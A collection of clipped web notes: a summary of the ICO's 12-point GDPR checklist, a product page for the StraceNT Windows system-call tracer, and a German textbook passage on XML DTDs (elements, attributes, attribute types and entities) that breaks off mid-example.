**Updated:**| _5/31/2017 6:23:49 PM_  
**Author:**| __  
**Tags:**| _gdpr_  
  

  

#### A summary of the Information Commissioner’s Office’s 12-point GDPR
checklist

A summary of the Information Commissioner’s Office’s 12-point GDPR checklist

  1. Ensure senior/key people are aware of GDPR and appreciate its impact.
  2. Document any personal data you hold, where it came from and who you share it with. Conduct an information audit if needed.
  3. Review your privacy notices and plan for necessary changes before GDPR comes into force.
  4. Check your procedures cover all individuals’ rights under the legislation – for example, how you would delete personal data or provide data electronically in a commonly used format.
  5. Plan how you will handle subject access requests within the new timescales and provide any additional information.
  6. Identify and document your legal basis for the various types of personal data processing you do.
  7. Review how you seek, obtain and record consent. Do you need to make any changes?
  8. Put systems in place to verify individuals’ ages and, if users are children \(likely to be defined in the UK as those under 13\), gather parental consent for data processing activity.
  9. Make sure you have the right procedures in place to detect, report and investigate a personal data breach.
  10. Adopt a “privacy by design” and “data minimisation” approach, as part of which you’ll need to understand how and when to implement Privacy Impact Assessments.
  11. Designate a Data Protection Officer or someone responsible for data protection compliance; assess where this role will sit within in your organisation’s structure/governance arrangements.
  12. If you operate internationally, determine which data protection supervisory authority you come under.

For more detail on each of these 12 steps, refer to the ICO guidelines here

  

# IntellectualHeaven - Products - StraceNT - Strace for Windows

**Created:**| _1/19/2011 2:05:15 PM_  
---|---  
**Updated:**| _1/19/2011 2:05:26 PM_  
**Author:**| __  
**Tags:**| _Debugging windows environment_  
  
StraceNT - A System Call Tracer for Windows  
  
---  
  
<img src='img/Temp2_4482.jpg' width='200' />© Copyright: Pankaj Garg |  |  StraceNT is a System Call Tracer for Windows. It provides similar functionality as of strace on Linux. It can trace all the calls made by a process to the imported functions from a DLL. StraceNT can be very useful in debugging and analyzing the internal working of a program. StraceNT uses IAT patching technique to trace function calls, which is quite reliable and very efficient way for tracing. It also supports filtering based on DLL name and function name and gives you a lot of control on which calls to trace and helps you to easily isolate a problem. StraceNT is supplied free of cost for both commercial and non-commercial use. Please take a look at file binarylicense.txt accompained with the distribution to see the full licensing conditions. If binarylicense.txt is missing, please write tox\_pankaj\_x@intellectualheaven.com to obtain an electronic copy of the same.  
---  
  
**Binary Distribution**

* * *  
StraceNT.zip | Version 0.8  
StraceNT.zip | Version 0.6

# Galileo Computing: Kompendium der Informationstechnik – 15.2 DTDs und XML
Schema

**Created:**| _5/12/2010 9:50:29 AM_  
---|---  
**Updated:**| _5/12/2010 9:50:50 AM_  
**Author:**| __  
**Tags:**| _Databases programming information systems xml_  
  
<img src='img/Temp2_3408.gif' width='200' height='56' alt='Galileo Computing <
openbook >' />| <img src='img/Temp2_3410.gif' alt='Galileo Computing -
Professionelle Bücher. Auch für Einsteiger.' />  
---|---  
Professionelle Bücher. Auch für Einsteiger

<img src='img/Temp2_3404.gif' width='10' height='10' />| | | Inhalt  
---  
Vorwort  
1 Einführung  
2 Mathematische und technische Grundlagen  
3 Hardware  
4 Betriebssysteme  
5 Grundlagen der Programmierung  
6 Konzepte der Programmierung  
7 Datenbanken  
8 Bildbearbeitung und Grafik  
9 DTP und digitale Druckvorstufe  
10 Multimedia  
11 Datei- und Datenformate  
12 Grundlagen der Netzwerktechnik  
13 Netzwerkhardware und -protokolle  
14 Netzwerkanwendungen  
15 XML  
16 HTML und XHTML  
17 Webdesign  
18 Serverseitig dynamische Websites  
19 JavaScript  
20 Macromedia Flash  
A Glossar  
B Kommentiertes Literaturverzeichnis  
Index  
  
**Download:**  
\- openbook \(ZIP, ca. 9,4 MB\)  
  
  
<img src='img/Temp2_3418.gif' width='2' height='1' />  
<img src='img/Temp2_3418.gif' width='154' height='1' />  
<img src='img/Temp2_3404.gif' width='10' height='1' />  
<img src='img/Temp2_3404.gif' width='10' height='10' />| | |  << zurück| Galileo Computing / <openbook> / KIT| vor >>   
---|---|---  
| Kompendium der Informationstechnik von Sascha Kersken  
EDV-Grundlagen, Programmierung, Mediengestaltung  
\(Die Neuauflage ist erschienen als: "Handbuch für Fachinformatiker"\)  
---  
<img src='img/Temp2_3415.gif' alt='Buch: Kompendium der Informationstechnik' />| | <img src='img/Temp2_3409.gif' width='10' height='10' alt='gp' />| **Kapitel15 XML**  
---|---  
| <img src='img/Temp2_3399.gif' width='10' height='10' alt='gp' />| **15.1 Der
Aufbau von XML-Dokumenten**  
|  | <img src='img/Temp2_3399.gif' width='10' height='10' alt='gp' />| **15.1.1 Die grundlegenden Bestandteile von XML-Dokumenten**  
|  | <img src='img/Temp2_3399.gif' width='10' height='10' alt='gp' />| **15.1.2 Wohlgeformtheit**  
| <img src='img/Temp2_3399.gif' width='10' height='10' alt='gp' />| **15.2
DTDs und XML Schema**  
|  | <img src='img/Temp2_3399.gif' width='10' height='10' alt='gp' />| **15.2.1 Document Type Definitions \(DTDs\)**  
|  | <img src='img/Temp2_3399.gif' width='10' height='10' alt='gp' />| **15.2.2 Namensräume**  
|  | <img src='img/Temp2_3399.gif' width='10' height='10' alt='gp' />| **15.2.3 XML Schema**  
| <img src='img/Temp2_3399.gif' width='10' height='10' alt='gp' />| **15.3
XSLT**  
| <img src='img/Temp2_3399.gif' width='10' height='10' alt='gp' />| **15.4
Grundlagen der XML-Programmierung**  
|  | <img src='img/Temp2_3399.gif' width='10' height='10' alt='gp' />| **15.4.1 SAX**  
|  | <img src='img/Temp2_3399.gif' width='10' height='10' alt='gp' />| **15.4.2 DOM**  
| <img src='img/Temp2_3399.gif' width='10' height='10' alt='gp' />| **15.5
Zusammenfassung**  
  
<img src='img/Temp2_3417.gif' width='16' height='16' alt='gp' />|  
Prüfungsfragen zu diesem Kapitel \(extern\)  
  
  
  
<img src='img/Temp2_3406.gif' alt='Galileo Computing' />

## 15.2 DTDs und XML Schema <img src='img/Temp2_3402.gif' width='15'
height='15' alt='down' /><img src='img/Temp2_3405.gif' width='15' height='15'
alt='top' />

Bereits in der Einleitung wurde erwähnt, dass XML-Dokumente neben der
Wohlgeformtheit zusätzlich von einem Standard abhängen können. Ein solcher
Standard enthält Regeln, die bestimmen, welche Elemente und Attribute
erforderlich oder zulässig sind und in welcher Reihenfolge sie stehen müssen
beziehungsweise dürfen. Die traditionelle Methode, um einem XML-Dokument
derartige Beschränkungen aufzuerlegen, ist die Document Type Definition
\(DTD\). Dieses Format wurde bereits für SGML entworfen und mit einigen
notwendigen Änderungen und Ergänzungen für XML übernommen. Eine neue, rein
XML-basierte Alternative, die obendrein mehr Möglichkeiten bietet, ist XML
Schema. Beide Sprachen werden in diesem Abschnitt behandelt.  
<img src='img/Temp2_3406.gif' alt='Galileo Computing' />

### 15.2.1 Document Type Definitions \(DTDs\) <img src='img/Temp2_3402.gif'
width='15' height='15' alt='down' /><img src='img/Temp2_3412.gif' width='15'
height='15' alt='top' />

Eine Document Type Definition, die einen bestimmten XML-Dateityp definiert,
steht in der Regel in einer externen Datei mit der Endung .dtd. Um ein XML-
Dokument an die Regeln dieser DTD zu binden, müssen Sie noch vor dem
Wurzelelement eine <\!DOCTYPE>-Deklaration hineinschreiben. Hier wird die URL
oder allgemeiner die ID der verwendeten DTD angegeben. Es kann sich dabei um
eine SYSTEM-ID handeln, die stets eine URL benötigt, oder um eine PUBLIC-ID,
die sich auf eine öffentlich standardisierte DTD bezieht. **_DTD-Bezug im
Dokument_** Angenommen, es existiert eine DTD für das XML-Dokument aus dem
vorigen Abschnitt, die sich im gleichen Verzeichnis befindet wie das Dokument.
Die passende <\!DOCTYPE>-Angabe verwendet in diesem Fall eine SYSTEM-ID und
lautet folgendermaßen:

>
[code]

>     <!DOCTYPE xml-buecher SYSTEM "xml-buecher.dtd">
>  
[/code]

Genauso gut kann diese DTD in einem anderen Verzeichnis im Dateisystem oder
sogar auf einem anderen Server im Internet liegen. Die DTD-Datei xml-
buecher.dtd liegt unter anderem unter http://buecher.lingoworld.de/it-
kompendium/samples/19/xml-buecher.dtd. Wenn Sie sich auf diese URL beziehen
möchten \(immer mit der Gefahr, dass sie geändert oder entfernt werden
könnte\), funktioniert dies folgendermaßen:

>
[code]

>     <!DOCTYPE xml-buecher SYSTEM
>     "http://buecher.lingoworld.de/it-kompendium/samples/19/xml-buecher.dtd">
>  
[/code]

Eine PUBLIC-ID verwendet dagegen ein standardisiertes Format, um die DTD
unabhängig von ihrer konkreten URL zu kennzeichnen. Eine Anwendung, die ein
Dokument auf der Grundlage dieser DTD validiert \(ihre Gültigkeit überprüft\),
muss allerdings eine eingebaute Version der DTD enthalten oder wissen, wie sie
diese online finden kann. Deshalb werden in der Praxis nur wenige öffentliche
DTDs häufig verwendet. Das folgende Beispiel zeigt einen Verweis auf die
XHTML-DTD des W3C:

>
[code]

>     <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN">
>  
[/code]

Um sicherzustellen, dass die DTD auf jeden Fall gefunden wird, wenn der
Validator sie benötigt, wird in der Praxis meist zusätzlich eine URL
angegeben:

>
[code]

>     <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
>         "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
>  
[/code]

#### Definition einer DTD

DTDs beschreiben, welche Elemente und Attribute in welcher Reihenfolge in
einem Dokument zulässig sind, und welche Daten sie jeweils enthalten dürfen.
**_Elemente definieren_**Ein Element wird mit Hilfe einer
<\!ELEMENT>-Deklaration angegeben. Formal sieht diese Deklaration
folgendermaßen aus:

>
[code]

>     <!ELEMENT elementname (elementinhalt)>
>  
[/code]

Der Elementinhalt kann aus einer Liste verschachtelter Elemente bestehen oder
auf einfachen Textinhalt hinweisen. Enthält ein Element verschachtelte Tags,
dann werden für diese wiederum <\!ELEMENT>-Definitionen angegeben.
**_Attribute definieren_** Die zulässigen Attribute für ein Element werden
dagegen in eine <\!ATTLIST>-Angabe geschrieben. Die formale Schreibweise ist
folgende:

>
[code]

>     <!ATTLIST elementname attr1 TYP #REQUIRED
>                           attr2 TYP #IMPLIED
>                           ...>
>  
[/code]

Der häufigste TYP für Attribute ist CDATA, also die Angabe beliebiger Zeichen.
\#REQUIRED oder \#IMPLIED geben an, ob das Attribut erforderlich ist oder
nicht. Ein Attribut mit der Angabe \#REQUIRED muss angegeben werden, \#IMPLIED
definiert dagegen ein optionales Attribut. Eine dritte zulässige Angabe ist
\#FIXED, was für ein vorgegebenes Attribut steht: Wird es nicht angegeben, ist
es dennoch automatisch mit seinem Standardwert vertreten; wenn Sie es explizit
angeben, muss es dagegen den vorgegebenen Wert besitzen. Übrigens können Sie
auch für jedes Attribut eine eigene <\!ATTLIST>-Definition schreiben. In
keinem der beiden Fälle ist die Reihenfolge der Attribute innerhalb des
Elements verbindlich. Das Beispiel in Listing 15.2 zeigt eine vollständige DTD
für das Dokument xml-buecher.dtd aus Listing 15.1. Die zusätzlich erläuterte
Erweiterung um ein cover-Element für eine Abbildung des Buchcovers ist bereits
enthalten. **Listing 15.2** Die DTD für die XML-Bücherliste, xml-buecher.dtd

[code]

    <!ELEMENT xml-buecher (buch+)>
      <!ELEMENT buch (autor+, titel, cover, auflage, ort,
      jahr, verlag)>
      <!ATTLIST buch isbn CDATA #REQUIRED>
        <!ELEMENT autor (name, vorname)>
          <!ELEMENT name (#PCDATA)>
          <!ELEMENT vorname (#PCDATA)>
        <!ELEMENT titel (#PCDATA)>
        <!ELEMENT cover EMPTY>
        <!ATTLIST cover datei CDATA #REQUIRED
                        type  CDATA #REQUIRED>
        <!ELEMENT auflage (#PCDATA)>
        <!ELEMENT ort (#PCDATA)>
        <!ELEMENT jahr (#PCDATA)>
    
[/code]

Übrigens ist die Reihenfolge, in der Sie die Deklarationen in der DTD vornehmen, vollkommen gleichgültig. Allerdings können Sie leicht durcheinander kommen, wenn Sie sich nicht dauerhaft an eine selbst gewählte Reihenfolge halten. Eine empfehlenswerte Reihenfolge, die auch in Listing 15.2 verwendet wird und in den meisten gut geschriebenen DTDs anzutreffen ist, funktioniert nach den folgenden Regeln: | <img src='img/Temp2_3414.gif' width='8' height='9' alt='gp' /> | Als Erstes wird das Wurzelelement deklariert.   
---|---  
<img src='img/Temp2_3414.gif' width='8' height='9' alt='gp' /> | Falls das Wurzelement Attribute besitzt, folgt als Nächstes seine <\!ATTLIST>-Deklaration.   
---|---  
<img src='img/Temp2_3414.gif' width='8' height='9' alt='gp' /> | Anschließend werden nacheinander alle unterhalb des Wurzelements zulässigen Elemente in der angegebenen Reihenfolge deklariert.   
---|---  
<img src='img/Temp2_3414.gif' width='8' height='9' alt='gp' /> | Nach jedem Element folgt  falls vorhanden  seine <\!ATTLIST>-Angabe; anschließend werden wiederum alle in diesem Element zulässigen Elemente durch ihre <\!ELEMENT>-Angaben deklariert.   
---|---  
Auf diese Weise enthält die DTD ein genaues Abbild der Verschachtelung der
durch sie beschriebenen XML-Dokumente. Dies können Sie zusätzlich  wie in
Listing 15.2  durch Einrückung verdeutlichen.

Die meisten Elemente in der gezeigten DTD enthalten im Übrigen keine weiter
verschachtelten Elemente mehr, sondern das Inhaltsmodell \(\#PCDATA\), also
beliebigen Text. Das Element cover besitzt dagegen die spezielle Angabe EMPTY
 es handelt sich um ein leeres Tag, das keine weiteren Inhalte aufweisen
darf. Wie bereits weiter oben erläutert, muss es später im Dokument nicht
umständlich als <cover ...></cover> geschrieben, sondern kann durch <cover
.../> abgekürzt werden.

#### Elemente deklarieren

Im vorigen Unterabschnitt haben Sie die <\!ELEMENT>-Deklaration schon
grundsätzlich kennen gelernt. Die häufigsten Formen dieser Deklaration sind
die Aufzählung der zulässigen Elemente oder \#PCDATA für einfachen Text.

Die umfangreichste Liste von Elementen in Listing 15.2 enthält die Angabe für
das Element buch:

>
[code]

>     <!ELEMENT buch (autor+, titel, cover, auflage, ort,
>     jahr, verlag)>
>  
[/code]

In dieser Schreibweise bedeutet die Definition, dass innerhalb des Elements
buch alle angegebenen Elemente in der vorgegebenen Reihenfolge vorkommen
müssen. Wie weiter unten genauer erläutert wird, bedeutet das + hinter autor,
dass ein Buch einen oder auch mehrere Autoren besitzen kann.

**_Alternativangaben_**

Statt einer festgelegten Reihenfolge können Sie auch eine Liste von
Alternativen angeben. Das folgende Beispiel zeigt ein Element namens
anschrift, das entweder das Element postfach oder strasse enthalten kann:

>
[code]

>     <!ELEMENT anschrift (postfach | strasse)>
>  
[/code]

>
[code]

>  
>  
[/code]

Die beiden folgenden Alternativen sind gültige Verwendungen des Elements
anschrift:

>
[code]

>     <anschrift>
>       <postfach>1234567</postfach>
>     </anschrift>
>  
>     <anschrift>
>       <strasse>Alte Straße 12</strasse>
>     </anschrift>
>  
[/code]

Solche Angaben lassen sich durch Klammern auch verschachteln. Diese
verbesserte Version von anschrift verlangt ein Postfach oder eine Straße und
eine Hausnummer:

>
[code]

>     <!ELEMENT anschrift (postfach | (strasse, hausnr))>
>  
[/code]

Sie können sogar Alternativen und Pflichtangaben beliebig mischen, wie die
folgende vollständige Fassung einer Anschrift zeigt:

>
[code]

>     <!ELEMENT anschrift (name, (postfach | 
>     (strasse, hausnr)), plz, ort)>
>  
[/code]

Eine Anschrift besteht also aus einem Namen, gefolgt von einem Postfach oder
einer Straße und Hausnummer, anschließend kommt die Postleitzahl und zum
Schluss der Ort. Die beiden folgenden Anschriften erfüllen dieses Format:

>
[code]

>     <anschrift>
>       <name>Galileo Press</name>
>       <strasse>Gartenstr.</strasse>
>       <hausnr>24</hausnr>
>       <plz>53229</plz>
>       <ort>Bonn</ort>
>     </anschrift>
>  
>     <anschrift>
>       <name>MICROGRAFX (Deutschland) GmbH</name>
>       <postfach>14 18</postfach>
>       <plz>85704</plz>   <ort>Unterschleißheim</ort>
>     </anschrift>
>  
[/code]

Alternativen können auch helfen, wenn Ihnen die Reihenfolge bestimmter
Elemente egal ist. Die folgende Variante der buch-Deklaration stellt es frei,
die Reihenfolge von ort und jahr beliebig zu vertauschen:

>
[code]

>     <!ELEMENT buch (autor+, titel, cover, auflage, ((ort,
>     jahr) | (jahr, ort)), verlag)>
>  
[/code]

Zu viele verschiedene Reihenfolgen können Sie also nicht zulassen, weil die
Liste sonst erheblich zu lang würde.

**_Einfacher Text als Alternative_**

Sie können einer Liste von Alternativen auch \#PCDATA voranstellen, um statt
der möglichen Tags auch beliebigen Text zuzulassen. Beispielsweise könnte eine
Anschrift neben einem Postfach oder einer Straße/Hausnummer-Folge auch einen
anderen Zusatz enthalten, der als einfacher Text ausgedrückt wird:

>
[code]

>     <!ELEMENT anschrift (name, (#PCDATA | postfach | 
>     (strasse, hausnr)), plz, ort)>
>  
[/code]

Auf diese Weise könnten Sie auch anders formulierte Anschriften, wie man sie
manchmal in ländlichen Gegenden findet \(»Gutshof Erlenbach« oder Ähnliches\),
ohne Probleme angeben.

**_Häufigkeitsangaben_**

Jedes Element und jede Gruppe von Inhalten kann in einem XML-Dokument auch
mehrmals vorkommen. Zu diesem Zweck bietet die DTD-Sprache verschiedene
Modifikatoren an, die Sie hinter ein Element oder einen geklammerten Ausdruck
setzen können, um seine Häufigkeit anzugeben:

<img src='img/Temp2_3414.gif' width='8' height='9' alt='gp' /> | ?  Der Inhalt darf einmal oder keinmal vorkommen.   
---|---  
<img src='img/Temp2_3414.gif' width='8' height='9' alt='gp' /> | \+  Der Inhalt muss mindestens einmal vorkommen.   
---|---  
<img src='img/Temp2_3414.gif' width='8' height='9' alt='gp' /> | \*  Der Inhalt darf beliebig oft vorkommen.   
---|---  
Beispielsweise können Personen nicht nur einen Vornamen haben, sondern auch
mehrere. Um diese Vornamen voneinander zu trennen, könnten Sie das Element
autor in der xml-buecher-DTD folgendermaßen verfeinern:

>
[code]

>     <!ELEMENT autor (name, vorname+)>
>  
[/code]

Dadurch könnten Sie den ersten Autor von »XML in a Nutshell« folgendermaßen
angeben:

>
[code]

>     <autor>
>       <name>Harold</name>
>       <vorname>Eliotte</vorname>
>       <vorname>Rusty</vorname>
>     </autor>
>  
[/code]

Auch die Angabe ? für ein- oder keinmal kann sehr nützlich sein. Bei dem buch-
Beispiel ist es etwa angebracht, das Cover-Bild optional zu setzen, weil für
manche Bücher vielleicht keines verfügbar ist:

>
[code]

>     <!ELEMENT buch (autor+, titel, cover?, auflage, ((ort,
>     jahr) | (jahr, ort)), verlag)>
>  
[/code]

Das Gleiche gilt für die Angabe von Postleitzahl oder Straße/Hausnummer bei
Anschriften: Große Postempfänger besitzen manchmal ihre eigene Postleitzahl,
die eine weitere Angabe überflüssig macht. Die ultimative Fassung des Elements
anschrift sieht demnach so aus:

>
[code]

>     <!ELEMENT anschrift (name, (#PCDATA | postfach | 
>     (strasse, hausnr))?, plz, ort)>
>  
[/code]

Der Modifikator \* für beliebig oft \(auch keinmal\) könnte beispielsweise
nützlich sein, um die Adels- oder akademischen Titel einer Person anzugeben.
Die folgende Definition berücksichtigt so gut wie alle Eventualitäten bei der
Angabe von Personennamen:

>
[code]

>     <!ELEMENT person (anrede, titel*, vorname+, name, geburtsname?)>
>  
[/code]

Eine Person kann nach diesem Schema beliebig viele Titel tragen, einen oder
mehrere Vornamen führen und einen vom aktuellen Namen abweichenden
Geburtsnamen haben oder auch nicht. Die folgenden Beispiele genügen diesem
Modell:

>
[code]

>     <person>
>       <anrede>Herr</anrede>
>       <titel>Dr.</titel>
>       <vorname>Klaus</vorname>
>       <vorname>Peter</vorname>
>       <name>Schmitz</name>
>     </person>
>  
>     <person>
>       <anrede>Frau</anrede>
>       <titel>Prof.</titel>
>       <titel>Dr.</titel>
>       <vorname>Annette</vorname>
>       <name>Schmitz</name>
>       <geburtsname>Müller</geburtsname>
>     </person>
>  
[/code]

Die folgende kleine DTD definiert ein Format für einfache Textdokumente mit
wenigen Auszeichnungsmöglichkeiten:

>
[code]

>     <!ELEMENT dokument ((ueberschrift?, absatz+)+)>
>       <!ELEMENT ueberschrift (#PCDATA)>
>       <!ELEMENT absatz ((#PCDATA | fett | kursiv)+)
>         <!ELEMENT fett (#PCDATA)>
>         <!ELEMENT kursiv (#PCDATA)>
>  
[/code]

Ein Dokument kann laut dieser DTD einen oder mehrere Blöcke enthalten, die aus
einer oder keiner Überschrift und einem oder mehreren Absätzen bestehen. Eine
Überschrift enthält nur einfachen Text. Ein Absatz dagegen kann einen oder
mehrere Teile enthalten, die aus einfachem Text, einem fetten oder einem
kursiven Bereich bestehen. Die fetten oder kursiven Bereiche enthalten
wiederum einfachen Text.

Das folgende kurze Beispiel zeigt ein Dokument, das sich an diese DTD hält:

>
[code]

>     <dokument>
>       <ueberschrift>XML</ueberschrift>
>       <absatz>
>         <fett>XML</fett> ist ein vom <kursiv>W3C</kursiv>
>         definiertes Metaformat für die Definition von
>         <kursiv>Auszeichnungssprachen</kursiv>.
>       </absatz>
>       <absatz>
>         Inzwischen gibt es Unmengen von Formaten, die
>         auf XML basieren, beispielsweise <fett>XHTML</fett>,
>         <fett>SVG</fett> oder <fett>MathML</fett>.
>       </absatz>
>     </dokument>
>  
[/code]

Wenn Sie das Dokument mit geeigneten Mitteln  die weiter unten in diesem
Kapitel vorgestellt werden  verarbeiten, könnte es in einem fertigen Layout
zum Beispiel folgendermaßen aussehen:

  
XML XML ist ein vom W3C definiertes Metaformat für die Definition von
Auszeichnungssprachen. Inzwischen gibt es Unmengen von Formaten, die auf XML
basieren, beispielsweise XHTML, SVG oder MathML.  
---  
  

#### Attribute definieren

Formal ein wenig einfacher, aber inhaltlich dafür komplexer als bei den
Elementen sind die DTD-Regeln für die Definition von Attributen. Wie oben
beschrieben, werden Attribute mit Hilfe einer <\!ATTLIST>-Deklaration
angegeben. Beispielsweise befindet sich in der xml-buecher-DTD die folgende
Attributliste für das Element cover:

>
[code]

>     <!ATTLIST cover datei CDATA #REQUIRED
>                     type  CDATA #REQUIRED>
>  
[/code]

Jede Attributangabe besteht aus dem Attributnamen \(hier datei und type\), dem
Attributtyp \(im Beispiel CDATA für einen beliebigen Textinhalt\) und der
Angabe, ob das Attribut erforderlich ist \(in diesem Fall \#REQUIRED für
erforderlich\).

Alternativ könnten Sie die beiden Attribute des Elements cover auch
folgendermaßen angeben:

>
[code]

>     <!ATTLIST cover datei CDATA #REQUIRED>
>     <!ATTLIST cover type  CDATA #REQUIRED>
>  
[/code]

Es ist mit keiner der beiden Definitionsmethoden möglich, eine bestimmte
Reihenfolge der Attribute eines Elements festzulegen. Wegen der besonderen
Bedeutung der Attribute als nähere Bestimmungen eines Elements wäre dies auch
gar nicht wünschenswert. Es spielt überhaupt keine Rolle, ob zuerst der
Dateiname oder zuerst der MIME-Type einer Buchcover-Abbildung angegeben wird;
beide sind erforderlich, um das Bild in einer eventuellen Anwendung korrekt
darstellen zu können.

**_Attributtypen_**

Was Attributangaben besonders komplex macht, ist die Tatsache, dass es zehn
verschiedene Attributtypen gibt. Der häufigste von allen ist CDATA für einen
beliebigen Textstring. Fast genau so häufig wird der spezielle Inhaltstyp
»Aufzählung« verwendet. Für diesen Typ wird kein spezielles Schlüsselwort
angegeben, sondern lediglich eine in Klammern stehende, durch |-Zeichen
getrennte Liste von Alternativen.

Beispielsweise definiert die folgende <\!ATTLIST> die Attribute eines Elements
namens farbe, das die Intensität einer der drei RGB-Grundfarben rot, gruen
oder blau angibt:

>
[code]

>     <!ATTLIST farbe ton         (rot|gruen|blau) #REQUIRED
>                     intensitaet CDATA            #REQUIRED>
>  
[/code]

Trotz der vielen verschiedenen Attributtypen gibt es keine vernünftige Möglichkeit, die Intensität auf eine ganze Zahl zwischen 0 und 255 einzuschränken  es sei denn, Sie haben Lust, statt CDATA die vollständige Liste \(0 | 1 | 2 | ... | 254 | 255\) einzugeben. Absolut unmöglich ist im Übrigen die Beschränkung auf einen bestimmten Datentyp wie »ganze Zahl«, »Datum/Uhrzeit« oder Ähnliches. Für solche Feinheiten ist das weiter unten vorgestellte XML Schema geeignet. 
Was die verschiedenen Attributtypen dagegen zu bieten haben, sehen Sie
übersichtlich in Tabelle 15.2.

  

**Tabelle 15.2** Die zulässigen Attributtypen

**Typ**| **Erläuterung**| **Beispiele**  
---|---|---  
CDATA | beliebiger Text | "Hallo", "25"   
\(Aufzählung\) | Liste möglicher Alternativen wie \(rot | gruen | blau\) | "kreuz" aus \("kreuz" | "pik" | "herz" | "karo"\)   
NMTOKEN | Darf nur die Zeichen enthalten, die in XML-Tag-Namen erlaubt sind. Ermöglicht eine stärkere Inhaltskontrolle als CDATA. | "13.05.2003", "hallo", "funny-names"   
NMTOKENS | Liste mehrerer NMTOKEN-Werte. XML-Parser behandeln Leerzeichen als Trennzeichen für mehrere Einzelwerte. | "kueche diele bad"  
\(Parser bildet die Einzelwerte kueche, diele und bad\)  
ID | Werte wie bei NMTOKEN; jeder Wert muss jedoch im gesamten XML-Dokument einmalig sein. Dies ist nützlich für eindeutige Schlüssel. | "isbn3898421376", "B12345" \(leider ist eine reine Zahl verboten, weil sie kein gültiger XML-Name ist\)   
IDREF | Bezug auf ein Attribut vom Typ ID eines anderen Elements. Dient der Definition von Bezügen wie in relationalen Datenbanken. | \(siehe ID\)   
IDREFS | Eine durch Leerzeichen getrennte Liste mehrerer IDs, auf die Bezug genommen wird. | "isbn3898421376 isbn3898423557"   
ENTITY | Verweist auf ein innerhalb der DTD definiertes Entity \(Standard-Entities wie lt oder quot sind nicht zulässig\). | \(Entities werden weiter unten genau erläutert\)   
ENTITIES | Eine durch Leerzeichen getrennte Liste mehrerer ENTITY-Werte |   
NOTATION | Der Wert eines speziellen DTD-Konstrukts vom Typ <\!NOTATION>, das die Abkürzung von SYSTEM- oder PUBLIC-IDs ermöglicht. | "gif", bezogen auf: <\!NOTATION gif SYSTEM "image/gif">  
<\!NOTATION  
jpg SYSTEM "image/jpeg">  
<\!NOTATION png SYSTEM "image/png">  
<\!ATTLIST bild typ NOTATION\(gif | jpg | png\)>   
  

Die meisten dieser Attributtypen werden Sie in eigenen DTDs wahrscheinlich
niemals verwenden. Die allermeisten Aufgaben können Sie mit CDATA und
Aufzählungen erledigen; wenn Sie XML für datenbankähnliche Aufgaben einsetzen,
werden Sie wahrscheinlich auch ID und IDREF beziehungsweise IDREFS nützlich
finden.

**_Notwendigkeit von Attributangaben_**

Die letzte Angabe innerhalb einer Attribut-Definition gibt an, ob das Attribut
erforderlich ist oder nicht, und besagt, ob es einen Standardwert für dieses
Attribut gibt. Die vier möglichen Werte sind folgende:

<img src='img/Temp2_3414.gif' width='8' height='9' alt='gp' /> | \#REQUIRED  das Attribut muss auf jeden Fall angegeben werden; es gibt keinen Standardwert.   
---|---  
<img src='img/Temp2_3414.gif' width='8' height='9' alt='gp' /> | \#IMPLIED  das Attribut kann weggelassen werden; einen Standardwert gibt es auch hier nicht.   
---|---  
<img src='img/Temp2_3414.gif' width='8' height='9' alt='gp' /> | \#FIXED  das Attribut hat stets den hinter \#FIXED angegebenen Standardwert. Wird es nicht angegeben, dann wird es vom Parser trotzdem mit dem Standardwert ausgewertet. Falls es explizit angegeben wird, muss es dagegen genau den Standardwert aufweisen.   
---|---  
<img src='img/Temp2_3414.gif' width='8' height='9' alt='gp' /> | Literal  wenn Sie statt einem der drei Schlüsselwörter nur einen Standardwert in Anführungszeichen angeben, hat das Attribut diesen Standardwert, wenn Sie es weglassen. Geben Sie es dagegen explizit an, dann erhält es den entsprechenden Wert.   
---|---  
Die folgende kleine DTD definiert einen einfachen Farbverlauf aus zwei RGB-
Farben. Das leere Element rgb besitzt verschiedene Attribute, um
Rot/Grün/Blauwert und Deckkraft \(alpha\) zu definieren:

>
[code]

>     <!ELEMENT verlauf (rgb, rgb)>
>       <!ELEMENT rgb EMPTY>
>       <!ATTLIST rgb rot   CDATA "255"
>                     gruen CDATA "255"
>                     blau  CDATA "255"
>                     alpha CDATA "100">
>  
[/code]

Die Standard-RGB-Farbe ist demnach Weiß mit einer Deckkraft von 100%. Einen
Verlauf von Schwarz nach Weiß, beide mit 100% Deckkraft, können Sie also mit
minimalem Aufwand folgendermaßen definieren:

>
[code]

>     <verlauf>
>       <rgb rot="0" gruen="0" blau="0" />
>       <rgb />
>     </verlauf>
>  
[/code]

Ein XML-Parser, der diese Elemente liest, ergänzt sie automatisch zu folgender
Langform:

>
[code]

>     <verlauf>
>       <rgb rot="0" gruen="0" blau="0" alpha="100" />
>       <rgb rot="255" gruen="255" blau="255" alpha="100" />
>     </verlauf>
>  
[/code]

#### Entities

Entities bieten vor allem die Möglichkeit, häufig vorkommende XML-Blöcke
abzukürzen sowie Zeichen darzustellen, die im aktuellen Zeichensatz des XML-
Dokuments nicht vorkommen. Im XML-Dokument werden die in der DTD definierten
Entities durch Entity-Referenzen angegeben. Fünf Entity-Referenzen sind in XML
fest eingebaut und wurden bereits weiter oben erwähnt. Sie müssen überall in
XML-Dokumenten verwendet werden, um Verwechslungen mit speziellen Zeichen zu
vermeiden: &lt; steht für <, &gt; für >, &amp; für &, &quot; für " und &apos;
für '.

Weitere Entities können Sie auf einfache Art und Weise innerhalb einer DTD
definieren. Das folgende Entity definiert eine Copyright-Zeile:

>
[code]

>     <!ENTITY copymsg "Copyright 2003 by Galileo Computing">
>  
[/code]

Wenn Sie an irgendeiner Stelle eines XML-Dokuments, das von dieser DTD
abhängt, die Entity-Referenz &copymsg; verwenden, wird sie automatisch durch
den String "Copyright 2003 by Galileo Computing" ersetzt. Entities können aber
nicht nur reinen Text enthalten, sondern auch XML-Auszeichnungen. Das folgende
Beispiel kürzt ein vollständiges Buch gemäß der DTD aus Listing 15.2 auf das
Entity &xmlbuch; herunter:

>
[code]

>     <!ENTITY xmlbuch '
>       <buch isbn="3898421376">
>         <autor>
>           <name>Vonhoegen</name>
>           <vorname>Helmut</vorname>
>         </autor>
>         <titel>Einstieg in XML</titel>
>         <cover datei="einstieg_xml.gif" type="image/gif" />
>         <auflage>1</auflage>
>         <ort>Bonn</ort>
>         <jahr>2002</jahr>
>         <verlag>Galileo Computing</verlag>
